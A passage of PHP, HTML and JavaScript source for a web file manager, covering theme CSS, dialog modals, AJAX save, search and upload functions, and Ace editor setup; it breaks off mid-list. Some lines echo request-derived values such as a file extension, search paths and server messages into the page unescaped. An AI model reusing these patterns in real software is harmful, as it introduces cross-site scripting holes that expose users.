        <?php print_external('css-font-awesome'); ?>
        <?php if (FM_USE_HIGHLIGHTJS && isset($_GET['view'])): ?>
            <?php print_external('css-highlightjs'); ?>
        <?php endif; ?>
        <script type="text/javascript">
            window.csrf = '<?php echo $_SESSION['token']; ?>';
        </script>
        <style>
            html {
                -moz-osx-font-smoothing: grayscale;
                -webkit-font-smoothing: antialiased;
                text-rendering: optimizeLegibility;
                height: 100%;
                scroll-behavior: smooth;
            }

            *,
            *::before,
            *::after {
                box-sizing: border-box;
            }

            body {
                font-size: 15px;
                color: #222;
                background: #F7F7F7;
            }

            body.navbar-fixed {
                margin-top: 55px;
            }

            a,
            a:hover,
            a:visited,
            a:focus {
                text-decoration: none !important;
            }

            .filename,
            td,
            th {
                white-space: nowrap
            }

            .navbar-brand {
                font-weight: bold;
            }

            .nav-item.avatar a {
                cursor: pointer;
                text-transform: capitalize;
            }

            .nav-item.avatar a>i {
                font-size: 15px;
            }

            .nav-item.avatar .dropdown-menu a {
                font-size: 13px;
            }

            #search-addon {
                font-size: 12px;
                border-right-width: 0;
            }

            .brl-0 {
                background: transparent;
                border-left: 0;
                border-top-left-radius: 0;
                border-bottom-left-radius: 0;
            }

            .brr-0 {
                border-top-right-radius: 0;
                border-bottom-right-radius: 0;
            }

            .bread-crumb {
                color: #cccccc;
                font-style: normal;
            }

            #main-table {
                transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1), width 0s .25s;
            }

            #main-table .filename a {
                color: #222222;
            }

            .table td,
            .table th {
                vertical-align: middle !important;
            }

            .table .custom-checkbox-td .custom-control.custom-checkbox,
            .table .custom-checkbox-header .custom-control.custom-checkbox {
                min-width: 18px;
                display: flex;
                align-items: center;
                justify-content: center;
            }

            .table-sm td,
            .table-sm th {
                padding: .4rem;
            }

            .table-bordered td,
            .table-bordered th {
                border: 1px solid #f1f1f1;
            }

            .hidden {
                display: none
            }

            pre.with-hljs {
                padding: 0;
                overflow: hidden;
            }

            pre.with-hljs code {
                margin: 0;
                border: 0;
                overflow: scroll;
            }

            code.maxheight,
            pre.maxheight {
                max-height: 512px
            }

            .fa.fa-caret-right {
                font-size: 1.2em;
                margin: 0 4px;
                vertical-align: middle;
                color: #ececec
            }

            .fa.fa-home {
                font-size: 1.3em;
                vertical-align: bottom
            }

            .path {
                margin-bottom: 10px
            }

            form.dropzone {
                min-height: 200px;
                border: 2px dashed #007bff;
                line-height: 6rem;
            }

            .right {
                text-align: right
            }

            .center,
            .close,
            .login-form,
            .preview-img-container {
                text-align: center
            }

            .message {
                padding: 4px 7px;
                border: 1px solid #ddd;
                background-color: #fff
            }

            .message.ok {
                border-color: green;
                color: green
            }

            .message.error {
                border-color: red;
                color: red
            }

            .message.alert {
                border-color: orange;
                color: orange
            }

            .preview-img {
                max-width: 100%;
                max-height: 80vh;
                background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);
                cursor: zoom-in
            }

            input#preview-img-zoomCheck[type=checkbox] {
                display: none
            }

            input#preview-img-zoomCheck[type=checkbox]:checked~label>img {
                max-width: none;
                max-height: none;
                cursor: zoom-out
            }

            .inline-actions>a>i {
                font-size: 1em;
                margin-left: 5px;
                background: #3785c1;
                color: #fff;
                padding: 3px 4px;
                border-radius: 3px;
            }

            .preview-video {
                position: relative;
                max-width: 100%;
                height: 0;
                padding-bottom: 62.5%;
                margin-bottom: 10px
            }

            .preview-video video {
                position: absolute;
                width: 100%;
                height: 100%;
                left: 0;
                top: 0;
                background: #000
            }

            .compact-table {
                border: 0;
                width: auto
            }

            .compact-table td,
            .compact-table th {
                width: 100px;
                border: 0;
                text-align: center
            }

            .compact-table tr:hover td {
                background-color: #fff
            }

            .filename {
                max-width: 420px;
                overflow: hidden;
                text-overflow: ellipsis
            }

            .break-word {
                word-wrap: break-word;
                margin-left: 30px
            }

            .break-word.float-left a {
                color: #7d7d7d
            }

            .break-word+.float-right {
                padding-right: 30px;
                position: relative
            }

            .break-word+.float-right>a {
                color: #7d7d7d;
                font-size: 1.2em;
                margin-right: 4px
            }

            #editor {
                position: absolute;
                right: 15px;
                top: 100px;
                bottom: 15px;
                left: 15px
            }

            @media (max-width:481px) {
                #editor {
                    top: 150px;
                }
            }

            #normal-editor {
                border-radius: 3px;
                border-width: 2px;
                padding: 10px;
                outline: none;
            }

            .btn-2 {
                padding: 4px 10px;
                font-size: small;
            }

            li.file:before,
            li.folder:before {
                font: normal normal normal 14px/1 FontAwesome;
                content: "\f016";
                margin-right: 5px
            }

            li.folder:before {
                content: "\f114"
            }

            i.fa.fa-folder-o {
                color: #0157b3
            }

            i.fa.fa-picture-o {
                color: #26b99a
            }

            i.fa.fa-file-archive-o {
                color: #da7d7d
            }

            .btn-2 i.fa.fa-file-archive-o {
                color: inherit
            }

            i.fa.fa-css3 {
                color: #f36fa0
            }

            i.fa.fa-file-code-o {
                color: #007bff
            }

            i.fa.fa-code {
                color: #cc4b4c
            }

            i.fa.fa-file-text-o {
                color: #0096e6
            }

            i.fa.fa-html5 {
                color: #d75e72
            }

            i.fa.fa-file-excel-o {
                color: #09c55d
            }

            i.fa.fa-file-powerpoint-o {
                color: #f6712e
            }

            i.go-back {
                font-size: 1.2em;
                color: #007bff;
            }

            .main-nav {
                padding: 0.2rem 1rem;
                box-shadow: 0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)
            }

            .dataTables_filter {
                display: none;
            }

            table.dataTable thead .sorting {
                cursor: pointer;
                background-repeat: no-repeat;
                background-position: center right;
                background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC');
            }

            table.dataTable thead .sorting_asc {
                cursor: pointer;
                background-repeat: no-repeat;
                background-position: center right;
                background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg==');
            }

            table.dataTable thead .sorting_desc {
                cursor: pointer;
                background-repeat: no-repeat;
                background-position: center right;
                background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII=');
            }

            table.dataTable thead tr:first-child th.custom-checkbox-header:first-child {
                background-image: none;
            }

            .footer-action li {
                margin-bottom: 10px;
            }

            .app-v-title {
                font-size: 24px;
                font-weight: 300;
                letter-spacing: -.5px;
                text-transform: uppercase;
            }

            hr.custom-hr {
                border-top: 1px dashed #8c8b8b;
                border-bottom: 1px dashed #fff;
            }

            #snackbar {
                visibility: hidden;
                min-width: 250px;
                margin-left: -125px;
                background-color: #333;
                color: #fff;
                text-align: center;
                border-radius: 2px;
                padding: 16px;
                position: fixed;
                z-index: 1;
                left: 50%;
                bottom: 30px;
                font-size: 17px;
            }

            #snackbar.show {
                visibility: visible;
                -webkit-animation: fadein 0.5s, fadeout 0.5s 2.5s;
                animation: fadein 0.5s, fadeout 0.5s 2.5s;
            }

            @-webkit-keyframes fadein {
                from {
                    bottom: 0;
                    opacity: 0;
                }

                to {
                    bottom: 30px;
                    opacity: 1;
                }
            }

            @keyframes fadein {
                from {
                    bottom: 0;
                    opacity: 0;
                }

                to {
                    bottom: 30px;
                    opacity: 1;
                }
            }

            @-webkit-keyframes fadeout {
                from {
                    bottom: 30px;
                    opacity: 1;
                }

                to {
                    bottom: 0;
                    opacity: 0;
                }
            }

            @keyframes fadeout {
                from {
                    bottom: 30px;
                    opacity: 1;
                }

                to {
                    bottom: 0;
                    opacity: 0;
                }
            }

            #main-table span.badge {
                border-bottom: 2px solid #f8f9fa
            }

            #main-table span.badge:nth-child(1) {
                border-color: #df4227
            }

            #main-table span.badge:nth-child(2) {
                border-color: #f8b600
            }

            #main-table span.badge:nth-child(3) {
                border-color: #00bd60
            }

            #main-table span.badge:nth-child(4) {
                border-color: #4581ff
            }

            #main-table span.badge:nth-child(5) {
                border-color: #ac68fc
            }

            #main-table span.badge:nth-child(6) {
                border-color: #45c3d2
            }

            @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) {
                .navbar-collapse .col-xs-6 {
                    padding: 0;
                }
            }

            .btn.active.focus,
            .btn.active:focus,
            .btn.focus,
            .btn.focus:active,
            .btn:active:focus,
            .btn:focus {
                outline: 0 !important;
                outline-offset: 0 !important;
                background-image: none !important;
                -webkit-box-shadow: none !important;
                box-shadow: none !important
            }

            .lds-facebook {
                display: none;
                position: relative;
                width: 64px;
                height: 64px
            }

            .lds-facebook div,
            .lds-facebook.show-me {
                display: inline-block
            }

            .lds-facebook div {
                position: absolute;
                left: 6px;
                width: 13px;
                background: #007bff;
                animation: lds-facebook 1.2s cubic-bezier(0, .5, .5, 1) infinite
            }

            .lds-facebook div:nth-child(1) {
                left: 6px;
                animation-delay: -.24s
            }

            .lds-facebook div:nth-child(2) {
                left: 26px;
                animation-delay: -.12s
            }

            .lds-facebook div:nth-child(3) {
                left: 45px;
                animation-delay: 0s
            }

            @keyframes lds-facebook {
                0% {
                    top: 6px;
                    height: 51px
                }

                100%,
                50% {
                    top: 19px;
                    height: 26px
                }
            }

            ul#search-wrapper {
                padding-left: 0;
                border: 1px solid #ecececcc;
            }

            ul#search-wrapper li {
                list-style: none;
                padding: 5px;
                border-bottom: 1px solid #ecececcc;
            }

            ul#search-wrapper li:nth-child(odd) {
                background: #f9f9f9cc;
            }

            .c-preview-img {
                max-width: 300px;
            }

            .border-radius-0 {
                border-radius: 0;
            }

            .float-right {
                float: right;
            }

            .table-hover>tbody>tr:hover>td:first-child {
                border-left: 1px solid #1b77fd;
            }

            #main-table tr.even {
                background-color: #F8F9Fa;
            }

            .filename>a>i {
                margin-right: 3px;
            }

            .fs-7 {
                font-size: 14px;
            }
        </style>
        <?php
        if (FM_THEME == "dark"): ?>
            <style>
                :root {
                    --bs-bg-opacity: 1;
                    --bg-color: #f3daa6;
                    --bs-dark-rgb: 28, 36, 41 !important;
                    --bs-bg-opacity: 1;
                }

                body.theme-dark {
                    background-image: linear-gradient(90deg, #1c2429, #263238);
                    color: #CFD8DC;
                }

                .list-group .list-group-item {
                    background: #343a40;
                }

                .theme-dark .navbar-nav i,
                .navbar-nav .dropdown-toggle,
                .break-word {
                    color: #CFD8DC;
                }

                a,
                a:hover,
                a:visited,
                a:active,
                #main-table .filename a,
                i.fa.fa-folder-o,
                i.go-back {
                    color: var(--bg-color);
                }

                ul#search-wrapper li:nth-child(odd) {
                    background: #212a2f;
                }

                .theme-dark .btn-outline-primary {
                    color: #b8e59c;
                    border-color: #b8e59c;
                }

                .theme-dark .btn-outline-primary:hover,
                .theme-dark .btn-outline-primary:active {
                    background-color: #2d4121;
                }

                .theme-dark input.form-control {
                    background-color: #101518;
                    color: #CFD8DC;
                }

                .theme-dark .dropzone {
                    background: transparent;
                }

                .theme-dark .inline-actions>a>i {
                    background: #79755e;
                }

                .theme-dark .text-white {
                    color: #CFD8DC !important;
                }

                .theme-dark .table-bordered td,
                .table-bordered th {
                    border-color: #343434;
                }

                .theme-dark .table-bordered td .custom-control-input,
                .theme-dark .table-bordered th .custom-control-input {
                    opacity: 0.678;
                }

                .message {
                    background-color: #212529;
                }

                form.dropzone {
                    border-color: #79755e;
                }
            </style>
        <?php endif; ?>
    </head>

    <body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
        <div id="wrapper" class="container-fluid">
            <!-- New Item creation -->
            <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true" data-bs-theme="<?php echo FM_THEME; ?>">
                <div class="modal-dialog" role="document">
                    <form class="modal-content" method="post">
                        <div class="modal-header">
                            <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                        </div>
                        <div class="modal-body">
                            <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
                            <div class="form-check form-check-inline">
                                <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
                                <label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                            </div>
                            <div class="form-check form-check-inline">
                                <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
                                <label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                            </div>

                            <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                            <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
                        </div>
                        <div class="modal-footer">
                            <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                            <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                            <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                        </div>
                    </form>
                </div>
            </div>

            <!-- Advance Search Modal -->
            <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true" data-bs-theme="<?php echo FM_THEME; ?>">
                <div class="modal-dialog modal-lg" role="document">
                    <div class="modal-content">
                        <div class="modal-header">
                            <h5 class="modal-title col-10" id="searchModalLabel">
                                <div class="input-group mb-3">
                                    <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                                    <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                                </div>
                            </h5>
                            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                        </div>
                        <div class="modal-body">
                            <form action="" method="post">
                                <div class="lds-facebook">
                                    <div></div>
                                    <div></div>
                                    <div></div>
                                </div>
                                <ul id="search-wrapper">
                                    <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
                                </ul>
                            </form>
                        </div>
                    </div>
                </div>
            </div>

            <!--Rename Modal -->
            <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog" data-bs-theme="<?php echo FM_THEME; ?>">
                <div class="modal-dialog" role="document">
                    <form class="modal-content rounded-3 shadow" method="post" autocomplete="off">
                        <div class="modal-body p-4 text-center">
                            <h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
                            <p class="mb-1">
                                <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
                                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                                <input type="hidden" name="rename_from" id="js-rename-from">
                            </p>
                        </div>
                        <div class="modal-footer flex-nowrap p-0">
                            <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                            <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
                        </div>
                    </form>
                </div>
            </div>

            <!-- Confirm Modal -->
            <script type="text/html" id="js-tpl-confirm">
                <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>" data-bs-theme="<?php echo FM_THEME; ?>">
                    <div class="modal-dialog" role="document">
                        <form class="modal-content rounded-3 shadow" method="post" autocomplete="off" action="<%this.action%>">
                            <div class="modal-body p-4 text-center">
                                <h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
                                <p class="mb-1"><%this.content%></p>
                            </div>
                            <div class="modal-footer flex-nowrap p-0">
                                <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                                <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
                            </div>
                        </form>
                    </div>
                </div>
            </script>
        <?php
    }

    /**
     * Show page footer after login
     */
    function fm_show_footer()
    {
        ?>
        </div>
        <?php print_external('js-jquery'); ?>
        <?php print_external('js-bootstrap'); ?>
        <?php print_external('js-jquery-datatables'); ?>
        <?php if (FM_USE_HIGHLIGHTJS && isset($_GET['view'])): ?>
            <?php print_external('js-highlightjs'); ?>
            <script>
                hljs.highlightAll();
                var isHighlightingEnabled = true;
            </script>
        <?php endif; ?>
        <script>
            function template(html, options) {
                var re = /<\%([^\%>]+)?\%>/g,
                    reExp = /(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,
                    code = 'var r=[];\n',
                    cursor = 0,
                    match;
                var add = function(line, js) {
                    js ? (code += line.match(reExp) ? line + '\n' : 'r.push(' + line + ');\n') : (code += line != '' ? 'r.push("' + line.replace(/"/g, '\\"') + '");\n' : '');
                    return add
                }
                while (match = re.exec(html)) {
                    add(html.slice(cursor, match.index))(match[1], !0);
                    cursor = match.index + match[0].length
                }
                add(html.substr(cursor, html.length - cursor));
                code += 'return r.join("");';
                return new Function(code.replace(/[\r\t\n]/g, '')).apply(options)
            }

            function rename(e, t) {
                if (t) {
                    $("#js-rename-from").val(t);
                    $("#js-rename-to").val(t);
                    $("#renameDailog").modal('show');
                }
            }

            function change_checkboxes(e, t) {
                for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked
            }

            function get_checkboxes() {
                for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--)(e[n].type = "checkbox") && t.push(e[n]);
                return t
            }

            function select_all() {
                change_checkboxes(get_checkboxes(), !0)
            }

            function unselect_all() {
                change_checkboxes(get_checkboxes(), !1)
            }

            function invert_all() {
                change_checkboxes(get_checkboxes())
            }

            function checkbox_toggle() {
                var e = get_checkboxes();
                e.push(this), change_checkboxes(e)
            }

            // Create file backup with .bck
            function backup(e, t) {
                var n = new XMLHttpRequest,
                    a = "path=" + e + "&file=" + t + "&token=" + window.csrf + "&type=backup&ajax=true";
                return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function() {
                    4 == n.readyState && 200 == n.status && toast(n.responseText)
                }, n.send(a), !1
            }

            // Toast message
            function toast(txt) {
                var x = document.getElementById("snackbar");
                x.innerHTML = txt;
                x.className = "show";
                setTimeout(function() {
                    x.className = x.className.replace("show", "");
                }, 3000);
            }

            // Save file
            function edit_save(e, t) {
                var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
                if (typeof n !== 'undefined' && n !== null) {
                    if (true) {
                        var data = {
                            ajax: true,
                            content: n,
                            type: 'save',
                            token: window.csrf
                        };

                        $.ajax({
                            type: "POST",
                            url: window.location,
                            data: JSON.stringify(data),
                            contentType: "application/json; charset=utf-8",
                            success: function(mes) {
                                toast("Saved Successfully");
                                window.onbeforeunload = function() {
                                    return
                                }
                            },
                            failure: function(mes) {
                                toast("Error: try again");
                            },
                            error: function(mes) {
                                toast(`<p style="background-color:red">${mes.responseText}</p>`);
                            }
                        });
                    } else {
                        var a = document.createElement("form");
                        a.setAttribute("method", "POST"), a.setAttribute("action", "");
                        var o = document.createElement("textarea");
                        o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                        let cx = document.createElement("input");
                        cx.setAttribute("type", "hidden");
                        cx.setAttribute("name", "token");
                        cx.setAttribute("value", window.csrf);
                        var c = document.createTextNode(n);
                        o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
                    }
                }
            }

            function show_new_pwd() {
                $(".js-new-pwd").toggleClass('hidden');
            }

            // Save Settings
            function save_settings($this) {
                let form = $($this);
                $.ajax({
                    type: form.attr('method'),
                    url: form.attr('action'),
                    data: form.serialize() + "&token=" + window.csrf + "&ajax=" + true,
                    success: function(data) {
                        if (data) {
                            window.location.reload();
                        }
                    }
                });
                return false;
            }

            //Create new password hash
            function new_password_hash($this) {
                let form = $($this),
                    $pwd = $("#js-pwd-result");
                $pwd.val('');
                $.ajax({
                    type: form.attr('method'),
                    url: form.attr('action'),
                    data: form.serialize() + "&token=" + window.csrf + "&ajax=" + true,
                    success: function(data) {
                        if (data) {
                            $pwd.val(data);
                        }
                    }
                });
                return false;
            }

            // Upload files using URL @param {Object}
            function upload_from_url($this) {
                let form = $($this),
                    resultWrapper = $("div#js-url-upload__list");
                $.ajax({
                    type: form.attr('method'),
                    url: form.attr('action'),
                    data: form.serialize() + "&token=" + window.csrf + "&ajax=" + true,
                    beforeSend: function() {
                        form.find("input[name=uploadurl]").attr("disabled", "disabled");
                        form.find("button").hide();
                        form.find(".lds-facebook").addClass('show-me');
                    },
                    success: function(data) {
                        if (data) {
                            data = JSON.parse(data);
                            if (data.done) {
                                resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: ' + data.done.name + '</div>');
                                form.find("input[name=uploadurl]").val('');
                            } else if (data['fail']) {
                                resultWrapper.append('<div class="alert alert-danger row">Error: ' + data.fail.message + '</div>');
                            }
                            form.find("input[name=uploadurl]").removeAttr("disabled");
                            form.find("button").show();
                            form.find(".lds-facebook").removeClass('show-me');
                        }
                    },
                    error: function(xhr) {
                        form.find("input[name=uploadurl]").removeAttr("disabled");
                        form.find("button").show();
                        form.find(".lds-facebook").removeClass('show-me');
                        console.error(xhr);
                    }
                });
                return false;
            }

            // Search template
            function search_template(data) {
                var response = "";
                $.each(data, function(key, val) {
                    response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
                });
                return response;
            }

            // Advance search
            function fm_search() {
                var searchTxt = $("input#advanced-search").val(),
                    searchWrapper = $("ul#search-wrapper"),
                    path = $("#js-search-modal").attr("href"),
                    _html = "",
                    $loader = $("div.lds-facebook");
                if (!!searchTxt && searchTxt.length > 2 && path) {
                    var data = {
                        ajax: true,
                        content: searchTxt,
                        path: path,
                        type: 'search',
                        token: window.csrf
                    };
                    $.ajax({
                        type: "POST",
                        url: window.location,
                        data: data,
                        beforeSend: function() {
                            searchWrapper.html('');
                            $loader.addClass('show-me');
                        },
                        success: function(data) {
                            $loader.removeClass('show-me');
                            data = JSON.parse(data);
                            if (data && data.length) {
                                _html = search_template(data);
                                searchWrapper.html(_html);
                            } else {
                                searchWrapper.html('<p class="m-2">No result found!<p>');
                            }
                        },
                        error: function(xhr) {
                            $loader.removeClass('show-me');
                            searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');
                        },
                        failure: function(mes) {
                            $loader.removeClass('show-me');
                            searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');
                        }
                    });
                } else {
                    searchWrapper.html("OOPS: minimum 3 characters required!");
                }
            }

            // action confirm dailog modal
            function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
                e.preventDefault();
                const tplObj = {
                    id,
                    title,
                    content: decodeURIComponent(content.replace(/\+/g, ' ')),
                    action
                };
                let tpl = $("#js-tpl-confirm").html();
                $(".modal.confirmDailog").remove();
                $('#wrapper').append(template(tpl, tplObj));
                const $confirmDailog = $("#confirmDailog-" + tplObj.id);
                $confirmDailog.modal('show');
                return false;
            }

            // on mouse hover image preview
            ! function(s) {
                s.previewImage = function(e) {
                    var o = s(document),
                        t = ".previewImage",
                        a = s.extend({
                            xOffset: 20,
                            yOffset: -20,
                            fadeIn: "fast",
                            css: {
                                padding: "5px",
                                border: "1px solid #cccccc",
                                "background-color": "#fff"
                            },
                            eventSelector: "[data-preview-image]",
                            dataKey: "previewImage",
                            overlayId: "preview-image-plugin-overlay"
                        }, e);
                    return o.off(t), o.on("mouseover" + t, a.eventSelector, function(e) {
                        s("p#" + a.overlayId).remove();
                        var o = s("<p>").attr("id", a.overlayId).css("position", "absolute").css("display", "none").append(s('<img class="c-preview-img">').attr("src", s(this).data(a.dataKey)));
                        a.css && o.css(a.css), s("body").append(o), o.css("top", e.pageY + a.yOffset + "px").css("left", e.pageX + a.xOffset + "px").fadeIn(a.fadeIn)
                    }), o.on("mouseout" + t, a.eventSelector, function() {
                        s("#" + a.overlayId).remove()
                    }), o.on("mousemove" + t, a.eventSelector, function(e) {
                        s("#" + a.overlayId).css("top", e.pageY + a.yOffset + "px").css("left", e.pageX + a.xOffset + "px")
                    }), this
                }, s.previewImage()
            }(jQuery);

            // Dom Ready Events
            $(document).ready(function() {
                // dataTable init
                var $table = $('#main-table'),
                    tableLng = $table.find('th').length,
                    _targets = (tableLng && tableLng == 7) ? [0, 4, 5, 6] : tableLng == 5 ? [0, 4] : [3];
                mainTable = $('#main-table').DataTable({
                    paging: false,
                    info: false,
                    order: [],
                    columnDefs: [{
                        targets: _targets,
                        orderable: false
                    }]
                });

                // filter table
                $('#search-addon').on('keyup', function() {
                    mainTable.search(this.value).draw();
                });

                $("input#advanced-search").on('keyup', function(e) {
                    if (e.keyCode === 13) {
                        fm_search();
                    }
                });

                $('#search-addon3').on('click', function() {
                    fm_search();
                });

                //upload nav tabs
                $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e) {
                    e.preventDefault();
                    let target = $(this).data('target');
                    $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');
                    $(this).addClass('active');
                    $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');
                    $(target).removeClass('hidden');
                });
            });
        </script>

        <?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE && !FM_READONLY):
            $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
            $ext =  $ext == "js" ? "javascript" :  $ext;
        ?>
            <?php print_external('js-ace'); ?>
            <script>
                var editor = ace.edit("editor");
                editor.getSession().setMode({
                    path: "ace/mode/<?php echo $ext; ?>",
                    inline: true
                });
                //editor.setTheme("ace/theme/twilight"); // Dark Theme
                editor.setShowPrintMargin(false); // Hide the vertical ruler
                function ace_commend(cmd) {
                    editor.commands.exec(cmd, editor);
                }
                editor.commands.addCommands([{
                    name: 'save',
                    bindKey: {
                        win: 'Ctrl-S',
                        mac: 'Command-S'
                    },
                    exec: function(editor) {
                        edit_save(this, 'ace');
                    }
                }]);

                function renderThemeMode() {
                    var $modeEl = $("select#js-ace-mode"),
                        $themeEl = $("select#js-ace-theme"),
                        $fontSizeEl = $("select#js-ace-fontSize"),
                        optionNode = function(type, arr) {
                            var $Option = "";
                            $.each(arr, function(i, val) {
                                $Option += "<option value='" + type + i + "'>" + val + "</option>";
                            });
                            return $Option;
                        },
                        _data = {
                            "aceTheme": {
                                "bright": {
                                    "chrome": "Chrome",
                                    "clouds": "Clouds",
                                    "crimson_editor": "Crimson Editor",
                                    "dawn": "Dawn",
                                    "dreamweaver": "Dreamweaver",
                                    "eclipse": "Eclipse",
                                    "github": "GitHub",
                                    "iplastic": "IPlastic",
                                    "solarized_light": "Solarized Light",
                                    "textmate": "TextMate",
                                    "tomorrow": "Tomorrow",
                                    "xcode": "XCode",
                                    "kuroir": "Kuroir",
                                    "katzenmilch": "KatzenMilch",
                                    "sqlserver": "SQL Server"
                                },
                                "dark": {
                                    "ambiance": "Ambiance",
                                    "chaos": "Chaos",
                                    "clouds_midnight": "Clouds Midnight",
                                    "dracula": "Dracula",
                                    "cobalt": "Cobalt",
                                    "gruvbox": "Gruvbox",
                                    "gob": "Green on Black",
                                    "idle_fingers": "idle Fingers",
                                    "kr_theme": "krTheme",
                                    "merbivore": "Merbivore",
                                    "merbivore_soft": "Merbivore Soft",
                                    "mono_industrial": "Mono Industrial",
                                    "monokai": "Monokai",
                                    "pastel_on_dark": "Pastel on dark",
                                    "solarized_dark": "Solarized Dark",
                                    "terminal": "Terminal",
                                    "tomorrow_night": "Tomorrow Night",
                                    "tomorrow_night_blue": "Tomorrow Night Blue",
                                    "tomorrow_night_bright": "Tomorrow Night Bright",
                                    "tomorrow_night_eighties": "Tomorrow Night 80s",
                                    "twilight": "Twilight",
                                    "vibrant_ink": "Vibrant Ink"
                                }
                            },
                            "aceMode": {
                                "javascript": "JavaScript",
                                "abap": "ABAP",
                                "abc": "ABC",
                                "actionscript": "ActionScript",
                                "ada": "ADA",
                                "apache_conf": "Apache Conf",
                                "asciidoc": "AsciiDoc",
                                "asl": "ASL",
                                "assembly_x86": "Assembly x86",
